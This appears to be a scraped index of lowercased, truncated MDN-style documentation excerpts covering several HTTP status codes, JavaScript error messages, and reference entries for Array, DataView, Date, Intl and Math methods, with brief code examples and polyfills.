426 Upgrade Required - HTTP
WebHTTPStatus426
the http 426 upgrade required client error response code indicates that the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol.
... the server sends an upgrade header with this response to indicate the required protocol(s).
... status 426 upgrade required examples http/1.1 426 upgrade required upgrade: http/2.0 connection: upgrade content-length: 53 content-type: text/plain this service requires use of the http/2.0 protocol specifications specification title rfc 7231, section 6.5.15: 426 upgrade required hypertext transfer protocol (http/1.1): semantics and content ...
428 Precondition Required - HTTP
WebHTTPStatus428
the http 428 precondition required response status code indicates that the server requires the request to be conditional.
... typically, this means that a required precondition header, such as if-match, is missing.
... status 428 precondition required specifications specification title rfc 6585, section 3: 428 precondition required additional http status codes ...
429 Too Many Requests - HTTP
WebHTTPStatus429
the http 429 too many requests response status code indicates the user has sent too many requests in a given amount of time ("rate limiting").
... a retry-after header might be included to this response indicating how long to wait before making a new request.
... status 429 too many requests example http/1.1 429 too many requests content-type: text/html retry-after: 3600 specifications specification title rfc 6585, section 4: 429 too many requests additional http status codes ...
502 Bad Gateway - HTTP
WebHTTPStatus502
the hypertext transfer protocol (http) 502 bad gateway server error response code indicates that the server, while acting as a gateway or proxy, received an invalid response from the upstream server.
... note: a gateway might refer to different things in networking and a 502 error is usually not something you can fix, but requires a fix by the web server or the proxies you are trying to get access through.
... status 502 bad gateway specifications specification title rfc 7231, section 6.6.3: 502 bad gateway hypertext transfer protocol (http/1.1): semantics and content ...
504 Gateway Timeout - HTTP
WebHTTPStatus504
the hypertext transfer protocol (http) 504 gateway timeout server error response code indicates that the server, while acting as a gateway or proxy, did not get a response in time from the upstream server that it needed in order to complete the request.
... note: a gateway might refer to different things in networking and a 504 error is usually not something you can fix, but requires a fix by the web server or the proxies you are trying to get access through.
... status 504 gateway timeout specifications specification title rfc 7231, section 6.6.5: 504 gateway timeout hypertext transfer protocol (http/1.1): semantics and content ...
508 Loop Detected - HTTP
WebHTTPStatus508
it indicates that the server terminated an operation because it encountered an infinite loop while processing a request with "depth: infinity".
... this status indicates that the entire operation failed.
... status 508 loop detected specifications specification title rfc 5842, section 7.2: 508 loop detected web distributed authoring and versioning ...
The legacy Iterator protocol - JavaScript
the deprecated firefox-only iterator protocol firefox, prior to version 26 implemented another iterator protocol that is similar to the standard es2015 iterator protocol.
... difference between legacy and es2015 iterator protocols the value was returned directly as a return value of calls to next, instead of the value property of a placeholder object iteration termination was expressed by throwing a stopiteration object.
...d protocol function makeiterator(array){ var nextindex = 0; return { next: function(){ if(nextindex < array.length){ return array[nextindex++]; else throw new stopiteration(); } } } var it = makeiterator(['yo', 'ya']); console.log(it.next()); // 'yo' console.log(it.next()); // 'ya' try{ console.log(it.next()); } catch(e){ if(e instanceof stopiteration){ // iteration over } } ...
SyntaxError: invalid regular expression flag "x" - JavaScript
they can also be defined in the constructor function of the regexp object (second parameter).
... regular expression flags can be used separately or together in any order, but there are only six of them in ecmascript.
... i case-insensitive search.
SyntaxError: return not in function - JavaScript
the javascript exception "return (or yield) not in function" occurs when a return or yield statement is called outside of a function.
... a return or yield statement is called outside of a function.
...the return and yield statements must be in a function, because they end (or pause and resume) function execution and specify a value to be returned to the function caller.
SyntaxError: illegal character - JavaScript
use an editor that supports syntax highlighting and carefully check your code against mismatches like a minus sign ( - ) versus a dash ( – ) or simple quotes ( " ) vs non-standard quotation marks ( “ ).
... examples mismatched characters some characters look similar, but will cause the parser to fail interpreting your code.
... var foo = 'bar';​ // syntaxerror: illegal character when inspecting this code in an editor like vim, you can see that there is actually a zero-width space (zwsp) (u+200b) character.
RangeError: invalid array length - JavaScript
the length property of an array or an arraybuffer is represented with an unsigned 32-bit integer, that can only store values which are in the range from 0 to 232-1.
... examples invalid cases new array(math.pow(2, 40)) new array(-1) new arraybuffer(math.pow(2, 32)) new arraybuffer(-1) let a = []; a.length = a.length - 1; // set -1 to the length property let b = new array(math.pow(2, 32) - 1); b.length = b.length + 1; // set 2^32 to the length property valid cases [ math.pow(2, 40) ] // [ 1099511627776 ] [ -1 ] // [ -1 ] new arraybuffer(math.pow(2, 32) - 1) new arraybuffer(0) let a = [...
...]; a.length = math.max(0, a.length - 1); let b = new array(math.pow(2, 32) - 1); b.length = math.min(0xffffffff, b.length + 1); // 0xffffffff is the hexadecimal notation for 2^32 - 1 // which can also be written as (-1 >>> 0) ...
RangeError: invalid date - JavaScript
examples invalid cases unrecognizable strings or dates containing illegal element values in iso formatted strings usually return nan.
... however, depending on the implementation, non–conforming iso format strings, may also throw rangeerror: invalid date, like the following cases in firefox: new date('foo-bar 2014'); new date('2014-25-23').toisostring(); new date('foo-bar 2014').tostring(); this, however, returns nan in firefox: date.parse('foo-bar 2014'); // nan for more details, see the date.parse() documentation.
... valid cases new date('05 october 2011 14:48 utc'); new date(1317826080); // unix time stamp for 05 october 2011 14:48:00 utc ...
SyntaxError: JSON.parse: bad parsing - JavaScript
message syntaxerror: json.parse: unterminated string literal syntaxerror: json.parse: bad control character in string literal syntaxerror: json.parse: bad character in string literal syntaxerror: json.parse: bad unicode escape syntaxerror: json.parse: bad escape character syntaxerror: json.parse: unterminated string syntaxerror: json.parse: no number after minus sign syntaxerror: json.parse: unexpected non-digit syntaxerror: json.parse: missing digits after decimal point syntaxerror: json.parse: unterminated fractional number syntaxerror: json.parse: missing digits after exponent indicator syntaxerror: json.parse: missing digits after exponent sign syntaxerror: json.parse: exponent part is miss...
... examples json.parse() does not allow trailing commas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'foo'.
... json.parse("{'foo': 1}"); // syntaxerror: json.parse: expected property name or '}' // at line 1 column 2 of the json data instead write "foo": json.parse('{"foo": 1}'); leading zeros and decimal points you cannot use leading zeros, like 01, and decimal points must be followed by at least one digit.
SyntaxError: Malformed formal parameter - JavaScript
the javascript exception "malformed formal parameter" occurs when the argument list of a function() constructor call is invalid somehow.
...and we use the word "malformed" because all firefox engineers are huge fans of 19th-century gothic horror novels.
... examples invalid cases var f = function('x y', 'return x + y;'); // syntaxerror (missing a comma) var f = function('x,', 'return x;'); // syntaxerror (extraneous comma) var f = function(37, "alert('ok')"); // syntaxerror (numbers can't be argument names) valid cases var f = function('x, y', 'return x + y;'); // correctly punctuated var f = function('x', 'return x;'); // if you can, avoid using function - this is much faster var f = function(x) { return x; }; ...
SyntaxError: missing : after property id - JavaScript
equal signs this code fails, as the equal sign can't be used this way in this object initializer syntax.
... var obj = { propertykey: 'value' }; // or alternatively var obj = { }; obj['propertykey'] = 'value'; empty properties you can't create empty properties like this: var obj = { propertykey; }; // syntaxerror: missing : after property id if you need to define a property without a value, you might use null as a value.
...otherwise the property name can't be computed: var obj = { 'b'+'ar': 'foo' }; // syntaxerror: missing : after property id put the expression in brackets []: var obj = { ['b'+'ar']: 'foo' }; ...
SyntaxError: missing = in const declaration - JavaScript
a constant is a value that cannot be altered by the program during normal execution.
... it cannot change through re-assignment, and it can't be redeclared.
...an initializer for a constant is required; that is, you must specify its value in the same statement in which it's declared (which makes sense, given that it can't be changed later).
TypeError: More arguments needed - JavaScript
the javascript exception "more arguments needed" occurs when there is an error with how a function is called.
... there is an error with how a function is called.
...ed arguments not provided the object.create() method requires at least one argument and the object.setprototypeof() method requires at least two arguments: var obj = object.create(); // typeerror: object.create requires at least 1 argument, but only 0 were passed var obj = object.setprototypeof({}); // typeerror: object.setprototypeof requires at least 2 arguments, but only 1 were passed you can fix this by setting null as the prototype, for example: var obj = object.create(null); var obj = object.setprototypeof({}, null); ...
ReferenceError: "x" is not defined - JavaScript
variables defined inside a function cannot be accessed from anywhere outside the function, because the variable is defined only in the scope of the function function numbers() { var num1 = 2, num2 = 3; return num1 + num2; } console.log(num1); // referenceerror num1 is not defined.
... however, a function can access all variables and functions defined inside the scope in which it is defined.
... in other words, a function defined in the global scope can access all variables defined in the global scope.
SyntaxError: redeclaration of formal parameter "x" - JavaScript
examples redeclared argument in this case, the variable "arg" redeclares the argument.
... function f(arg) { let arg = 'foo'; } // syntaxerror: redeclaration of formal parameter "arg" if you want to change the value of "arg" in the function body, you can do so, but you do not need to declare the same variable again.
... in other words: you can omit the let keyword.
ReferenceError: assignment to undeclared variable "x" - JavaScript
can be deleted).
... examples invalid cases in this case, the variable "bar" is an undeclared variable.
... function foo() { 'use strict'; bar = true; } foo(); // referenceerror: assignment to undeclared variable bar valid cases to make "bar" a declared variable, you can add the var keyword in front of it.
TypeError: "x" is (not) "y" - JavaScript
examples invalid cases // undefined and null cases on which the substring method won't work var foo = undefined; foo.substring(1); // typeerror: foo is undefined var foo = null; foo.substring(1); // typeerror: foo is null // certain methods might require a specific type var foo = {} symbol.keyfor(foo); // typeerror: foo is not a symbol var foo = 'bar' object.create(foo); // typeerror: "foo" is not an object or ...
...null fixing the issue to fix null pointer to undefined values, you can use the typeof operator, for example.
...} if (typeof foo !== 'undefined') { // the same good idea, but don't use this implementation - it can bring problems // because of the confusion between truly undefined and undeclared variables.
TypeError: variable "x" redeclares argument - JavaScript
examples invalid cases in this case, the variable "arg" redeclares the argument.
... 'use strict'; function f(arg) { var arg = 'foo'; } valid cases to fix this warning, the var statement can just be omitted, because the variable exists already.
... in other cases, you might to rename either the function parameter or the variable name.
arguments.length - JavaScript
this can be more or less than the defined parameter's count (see function.length).
... examples using arguments.length in this example we define a function that can add two or more numbers together.
...*/) { base = number(base); for (var i = 1; i < arguments.length; i++) { base += number(arguments[i]); } return base; } note the difference between function.length and arguments.length specifications specification ecmascript (ecma-262)the definition of 'arguments exotic objects' in that specification.
Array.prototype.copyWithin() - JavaScript
the copywithin() method shallow copies part of an array to another location in the same array and returns it without modifying its length.
... return o; }, configurable: true, writable: true }); } examples using copywithin [1, 2, 3, 4, 5].copywithin(-2) // [1, 2, 3, 1, 2] [1, 2, 3, 4, 5].copywithin(0, 3) // [4, 5, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(0, 3, 4) // [4, 2, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(-2, -3, -1) // [1, 2, 3, 3, 4] [].copywithin.call({length: 5, 3: 1}, 0, 3) // {0: 1, 3: 1, length: 5} // es2015 typed arrays are subclasses of array var i32a = new int32array([1, 2, 3, 4, 5]) i32a.copywithin(0, 2) // int32array [3, 4, 5, 4, 5] // on platforms that are not yet es2015 compliant: [].copywithin.call(new int32array([1, 2, 3, 4, 5]), 0, 3, 4); // int32array [4, 2, 3, 4, 5] specifications specification ecmascr...
...ipt (ecma-262)the definition of 'array.prototype.copywithin' in that specification.
Array.isArray() - JavaScript
if (!array.isarray) { array.isarray = function(arg) { return object.prototype.tostring.call(arg) === '[object array]'; }; } examples using array.isarray // all following calls return true array.isarray([]); array.isarray([1]); array.isarray(new array()); array.isarray(new array('a', 'b', 'c', 'd')); array.isarray(new array(3)); // little known fact: array.prototype itself is an array: array.isarray(array.prototype); // all following calls return false array.isarray(); array.isa...
...rray({}); array.isarray(null); array.isarray(undefined); array.isarray(17); array.isarray('array'); array.isarray(true); array.isarray(false); array.isarray(new uint8array(32)); array.isarray({ __proto__: array.prototype }); instanceof vs isarray when checking for array instance, array.isarray is preferred over instanceof because it works through iframes.
... var iframe = document.createelement('iframe'); document.body.appendchild(iframe); xarray = window.frames[window.frames.length-1].array; var arr = new xarray(1,2,3); // [1,2,3] // correctly checking for array array.isarray(arr); // true // considered harmful, because doesn't work through iframes arr instanceof array; // false specifications specification ecmascript (ecma-262)the definition of 'array.isarray' in that specification.
Array.prototype.join() - JavaScript
the join() method creates and returns a new string by concatenating all of the elements in an array (or an array-like object), separated by commas or a specified separator string.
... var a = ['wind', 'water', 'fire']; a.join(); // 'wind,water,fire' a.join(', '); // 'wind, water, fire' a.join(' + '); // 'wind + water + fire' a.join(''); // 'windwaterfire' joining an array-like object the following example joins array-like object (arguments), by calling function.prototype.call on array.prototype.join.
... function f(a, b, c) { var s = array.prototype.join.call(arguments); console.log(s); // '1,a,true' } f(1, 'a', true); //expected output: "1,a,true" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.join' in that specification.
Array.prototype.shift() - JavaScript
shift is intentionally generic; this method can be called or applied to objects resembling arrays.
... objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
...in the following example every iteration will remove the next element from an array, until it is empty: var names = ["andrew", "edward", "paul", "chris" ,"john"]; while( (i = names.shift()) !== undefined ) { console.log(i); } // andrew, edward, paul, chris, john specifications specification ecmascript (ecma-262)the definition of 'array.prototype.shift' in that specification.
ArrayBuffer.prototype.byteLength - JavaScript
description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when the array is constructed and cannot be changed.
... examples using bytelength var buffer = new arraybuffer(8); buffer.bytelength; // 8 specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.bytelength' in that specification.
BigInt.prototype.toString() - JavaScript
for radixes above 10, the letters of the alphabet indicate numerals greater than 9.
...this is the case even if the radix is 2; the string returned is the positive binary representation of the bigintobj preceded by a - sign, not the two's complement of the bigintobj.
... (-0n).tostring(); // '0' bigint(-0).tostring(); // '0' specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.tostring()' in that specification.
DataView() constructor - JavaScript
(that probably wasn't a very helpful description.) you can think of the returned object as an "interpreter" of the array buffer of bytes — it knows how to convert numbers to fit within the buffer correctly, both when reading and writing to it.
... for example, if the buffer is 16 bytes long, the byteoffset is 8, and the bytelength is 10, this error is thrown because the resulting view tries to extend 2 bytes past the total length of the buffer.
... examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview constructor' in that specification.
DataView.prototype.buffer - JavaScript
description the buffer property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when the dataview is constructed and cannot be changed.
... examples using the buffer property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.buffer' in that specification.
DataView.prototype.byteLength - JavaScript
description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when an dataview is constructed and cannot be changed.
...bytelength property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 = new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 = new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.bytelength' in that specification.
DataView.prototype.byteOffset - JavaScript
description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when an dataview is constructed and cannot be changed.
... examples using the byteoffset property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.byteoffset; // 0 (no offset specified) var dataview2 = new dataview(buffer, 3); dataview2.byteoffset; // 3 (as specified when constructing the dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.byteoffset' in that specification.
Date() constructor - JavaScript
if you simply call the date object directly, such as now = date(), the returned value is a string rather than a date object.
..."1970-01-01") are treated as utc, not local.
... let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) specifications specification ecmascript (ecma-262)the definition of 'date' in that specification.
Date.UTC() - JavaScript
the utc() method differs from the date constructor in two ways: date.utc() uses universal time instead of the local time.
... utc() is a static method of date, so it's called as date.utc() rather than as a method of a date instance.
... examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascript (ecma-262)the definition of 'date.utc' in that specification.
Date.prototype.getDate() - JavaScript
the getdate() method returns the day of the month for the specified date according to local time.
... syntax dateobj.getdate() return value an integer number, between 1 and 31, representing the day of the month for the given date according to local time.
... var xmas95 = new date('december 25, 1995 23:15:30'); var day = xmas95.getdate(); console.log(day); // 25 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getdate' in that specification.
Date.prototype.getFullYear() - JavaScript
the getfullyear() method returns the year of the specified date according to local time.
... syntax dateobj.getfullyear() return value a number corresponding to the year of the given date, according to local time.
... var today = new date(); var year = today.getfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getfullyear' in that specification.
Date.prototype.getHours() - JavaScript
the gethours() method returns the hour for the specified date, according to local time.
... syntax dateobj.gethours() return value an integer number, between 0 and 23, representing the hour for the given date according to local time.
... let xmas95 = new date('december 25, 1995 23:15:30'); let hours = xmas95.gethours(); console.log(hours); // 23 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gethours' in that specification.
Date.prototype.getMilliseconds() - JavaScript
the getmilliseconds() method returns the milliseconds in the specified date according to local time.
... syntax dateobj.getmilliseconds() return value a number, between 0 and 999, representing the milliseconds for the given date according to local time.
... examples using getmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds: var today = new date(); var milliseconds = today.getmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmilliseconds' in that specification.
Date.prototype.getMinutes() - JavaScript
the getminutes() method returns the minutes in the specified date according to local time.
... syntax dateobj.getminutes() return value an integer number, between 0 and 59, representing the minutes in the given date according to local time.
... var xmas95 = new date('december 25, 1995 23:15:30'); var minutes = xmas95.getminutes(); console.log(minutes); // 15 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getminutes' in that specification.
Date.prototype.getSeconds() - JavaScript
the getseconds() method returns the seconds in the specified date according to local time.
... syntax dateobj.getseconds() return value an integer number, between 0 and 59, representing the seconds in the given date according to local time.
... var xmas95 = new date('december 25, 1995 23:15:30'); var seconds = xmas95.getseconds(); console.log(seconds); // 30 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getseconds' in that specification.
Date.now() - JavaScript
engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings.
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... specifications specification ecmascript (ecma-262)the definition of 'date.now' in that specification.
Date.prototype.setMonth() - JavaScript
for example, if the current value is 31st august 2016, calling setmonth with a value of 1 will return 2nd march 2016.
... this is because in 2016 february had 29 days.
... examples using setmonth() var thebigday = new date(); thebigday.setmonth(6); //watch out for end of month transitions var endofmonth = new date(2016, 7, 31); endofmonth.setmonth(1); console.log(endofmonth); //wed mar 02 2016 00:00:00 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmonth' in that specification.
Date.prototype.setYear() - JavaScript
the setyear() method sets the year for a specified date according to local time.
... because setyear() does not set full years ("year 2000 problem"), it is no longer used and has been replaced by the setfullyear() method.
... var thebigday = new date(); thebigday.setyear(96); thebigday.setyear(1996); thebigday.setyear(2000); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setyear' in that specification.
Date.prototype.toGMTString() - JavaScript
note: togmtstring() is deprecated and should no longer be used.
... var today = new date(); var str = today.togmtstring(); // deprecated!
... use toutcstring() console.log(str); // mon, 18 dec 1995 17:28:35 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.togmtstring' in that specification.
Error.prototype.toSource() - JavaScript
examples using tosource calling the tosource method of an error instance (including nativeerrors) will return a string containing the source code of the error.
... this string can be evaluated to create an (approximately) equal object.
... specifications not part of any standard.
GeneratorFunction - JavaScript
this is less efficient than declaring a generator function with a function* expression and calling it within your code, because such functions are parsed with the rest of the code.
... when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the generatorfunction constructor was called.
... examples creating a generator function from a generatorfunction() constructor var generatorfunction = object.getprototypeof(function*(){}).constructor var g = new generatorfunction('a', 'yield a * 2'); var iterator = g(10); console.log(iterator.next().value); // 20 specifications specification ecmascript (ecma-262)the definition of 'generatorfunction' in that specification.
Infinity - JavaScript
this value behaves slightly differently than mathematical infinity; see number.positive_infinity for details.
... as defined by the ecmascript 5 specification, infinity is read-only (implemented in javascript 1.8.5 / firefox 4).
... examples using infinity console.log(infinity ); /* infinity */ console.log(infinity + 1 ); /* infinity */ console.log(math.pow(10, 1000)); /* infinity */ console.log(math.log(0) ); /* -infinity */ console.log(1 / infinity ); /* 0 */ console.log(1 / 0 ); /* infinity */ specifications specification ecmascript (ecma-262)the definition of 'infinity' in that specification.
InternalError() constructor - JavaScript
the internalerror() constructor creates an error that indicates an error that occurred internally in the javascript engine.
...the name of the file containing the code that caused the exception linenumber optional.
... the line number of the code that caused the exception examples creating a new internalerror new internalerror("engine failure"); specifications not part of any standard.
Intl.Collator.prototype.compare() - JavaScript
description the compare getter function returns a number indicating how string1 and string2 compare to each other according to the sort order of this collator object: a negative value if string1 comes before string2; a positive value if string1 comes after string2; 0 if they are considered equal.
...note that the function is bound to the collator from which it was obtained, so it can be passed directly to array.prototype.sort().
...bach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
the intl.datetimeformat.prototype.formatrange() formats a date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat object.
... syntax intl.datetimeformat.prototype.formatrange(startdate, enddate) examples basic formatrange usage this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat.
... 10:00 am' // > '1/10/07, 10:00 – 11:00 am' // > '1/10/07, 10:00 am – 1/20/07, 10:00 am' let fmt2 = new intl.datetimeformat("en", { year: 'numeric', month: 'short', day: 'numeric' }); console.log(fmt2.format(date1)); console.log(fmt2.formatrange(date1, date2)); console.log(fmt2.formatrange(date1, date3)); // > 'jan 10, 2007' // > 'jan 10, 2007' // > 'jan 10 – 20, 2007' specifications specification intl.datetimeformat.formatrangethe definition of 'formatrange()' in that specification.
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
the intl.datetimeformat.prototype.formatrangetoparts() method allows locale-specific tokens representing each part of the formatted date range produced by datetimeformat formatters.
... syntax intl.datetimeformat.prototype.formatrangetoparts(startdate, enddate) examples basic formatrangetoparts usage this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range.
..., // { type: 'literal', value: ' – ', source: "shared" }, // { type: 'hour', value: '11', source: "endrange" }, // { type: 'literal', value: ':', source: "endrange" }, // { type: 'minute', value: '00', source: "endrange" }, // { type: 'literal', value: ' ', source: "shared" }, // { type: 'dayperiod', value: 'am', source: "shared" } // ] specifications specification intl.datetimeformat.formatrangethe definition of 'formatrangetoparts()' in that specification.
Intl.DisplayNames.prototype.of() - JavaScript
the of() method receives a code and returns a string based on the locale and options provided when instantiating intl.displaynames.
... if the type is "language", code should be a languagecode ["-" scriptcode] ["-" regioncode ] *("-" variant ) subsequence of the unicode_language_id grammar in uts 35's unicode language and locale identifiers grammar.
... examples using the of method let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" let currencynames = new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.displaynamesthe definition of 'of()' in that specification.
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
the intl.relativetimeformat.prototype.formattoparts() method returns an array of objects representing the relative time format in parts that can be used for custom locale-aware formatting.
...if a "part" came from numberformat, it will have a unit property which indicates the unit being formatted; literals which are part of the larger frame will not have this property.
... examples using formattoparts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.formattoparts()' in that specification.
Math.PI - JavaScript
property attributes of math.pi writable no enumerable no configurable no description because pi is a static property of math, you always use it as math.pi, rather than as a property of a math object you created (math is not a constructor).
... examples using math.pi the following function uses math.pi to calculate the circumference of a circle with a passed radius.
... function calculatecircumference(radius) { return math.pi * (radius + radius); } calculatecircumference(1); // 6.283185307179586 specifications specification ecmascript (ecma-262)the definition of 'math.pi' in that specification.
Math.abs() - JavaScript
the math.abs() function returns the absolute value of a number, that is math.abs(x)=|x|={xifx>00ifx=0-xifx<0{\mathtt{\operatorname{math.abs}(z)}} = {|z|} = \begin{cases} x & \text{if} \quad x \geq 0 \\ x & \text{if} \quad x < 0 \end{cases} the source for this interactive example is stored in a github repository.
... description because abs() is a static method of math, you always use it as math.abs(), rather than as a method of a math object you created (math is not a constructor).
... math.abs('-1'); // 1 math.abs(-2); // 2 math.abs(null); // 0 math.abs(''); // 0 math.abs([]); // 0 math.abs([2]); // 2 math.abs([1,2]); // nan math.abs({}); // nan math.abs('string'); // nan math.abs(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.abs' in that specification.
Math.acosh() - JavaScript
description because acosh() is a static method of math, you always use it as math.acosh(), rather than as a method of a math object you created (math is no constructor).
... polyfill for all x≥1x \geq 1, we have arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) and so this can be emulated with the following function: math.acosh = math.acosh || function(x) { return math.log(x + math.sqrt(x * x - 1)); }; examples using math.acosh() math.acosh(-1); // nan math.acosh(0); // nan math.acosh(0.5); // nan math.acosh(1); // 0 math.acosh(2); // 1.3169578969248166 for values less than 1 math.acosh() returns nan.
... specifications specification ecmascript (ecma-262)the definition of 'math.acosh' in that specification.
Math.asinh() - JavaScript
description because asinh() is a static method of math, you always use it as math.asinh(), rather than as a method of a math object you created (math is not a constructor).
... polyfill math.asinh can be emulated with the following function: if (!math.asinh) math.asinh = function(x) { var absx = math.abs(x), w if (absx < 3.725290298461914e-9) // |x| < 2^-28 return x if (absx > 268435456) // |x| > 2^28 w = math.log(absx) + math.ln2 else if (absx > 2) // 2^28 >= |x| > 2 w = math.log(2 * absx + 1 / (math.sqrt(x * x + 1) + absx)) else var t = x * x, w = math.log1p(absx + t / (1 + math.sqrt(1 + t))) return x > 0 ?
... examples using math.asinh() math.asinh(1); // 0.881373587019543 math.asinh(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'math.asinh' in that specification.
Math.atanh() - JavaScript
description because atanh() is a static method of math, you always use it as math.atanh(), rather than as a method of a math object you created (math is not a constructor).
... polyfill for |x|<1\left|x\right| < 1, we have artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right) so this can be emulated by the following function: math.atanh = math.atanh || function(x) { return math.log((1+x)/(1-x)) / 2; }; examples using math.atanh() math.atanh(-2); // nan math.atanh(-1); // -infinity math.atanh(0); // 0 math.atanh(0.5); // 0.5493061443340548 math.atanh(1); // infinity math.atanh(2); // nan for values greater than 1 or less than -1, nan is returned.
... specifications specification ecmascript (ecma-262)the definition of 'math.atanh' in that specification.
Math.cbrt() - JavaScript
description because cbrt() is a static method of math, you always use it as math.cbrt(), rather than as a method of a math object you created (math is not a constructor).
... polyfill for all x≥0x \geq 0, have x3=x1/3\sqrt[3]{x} = x^{1/3} so this can be emulated by the following function: if (!math.cbrt) { math.cbrt = (function(pow) { return function cbrt(x){ // ensure negative numbers remain negative: return x < 0 ?
... -pow(-x, 1/3) : pow(x, 1/3); }; })(math.pow); // localize math.pow to increase efficiency } examples using math.cbrt() math.cbrt(nan); // nan math.cbrt(-1); // -1 math.cbrt(-0); // -0 math.cbrt(-infinity); // -infinity math.cbrt(0); // 0 math.cbrt(1); // 1 math.cbrt(infinity); // infinity math.cbrt(null); // 0 math.cbrt(2); // 1.2599210498948732 specifications specification ecmascript (ecma-262)the definition of 'math.cbrt' in that specification.
Math.cosh() - JavaScript
the math.cosh() function returns the hyperbolic cosine of a number, that can be expressed using the constant e: math.cosh(x)=ex+e-x2\mathtt{\operatorname{math.cosh(x)}} = \frac{e^x + e^{-x}}{2} the source for this interactive example is stored in a github repository.
... description because cosh() is a static method of math, you always use it as math.cosh(), rather than as a method of a math object you created (math is not a constructor).
... polyfill this can be emulated with the help of the math.exp() function: math.cosh = math.cosh || function(x) { return (math.exp(x) + math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.cosh = math.cosh || function(x) { var y = math.exp(x); return (y + 1 / y) / 2; }; examples using math.cosh() math.cosh(0); // 1 math.cosh(1); // 1.5430806348152437 math.cosh(-1); // 1.5430806348152437 specifications specification ecmascript (ecma-262)the definition of 'math.cosh' in that specification.
Math.log() - JavaScript
because log() is a static method of math, you always use it as math.log(), rather than as a method of a math object you created (math is not a constructor).
... if you need a logarithm to other bases, use math.log(x) / math.log(otherbase) as in the example below; you might want to precalculate 1 / math.log(otherbase) .
... specifications specification ecmascript (ecma-262)the definition of 'math.log' in that specification.
Math.pow() - JavaScript
because pow() is a static method of math, you always use it as math.pow(), rather than as a method of a math object you created (math has no constructor).
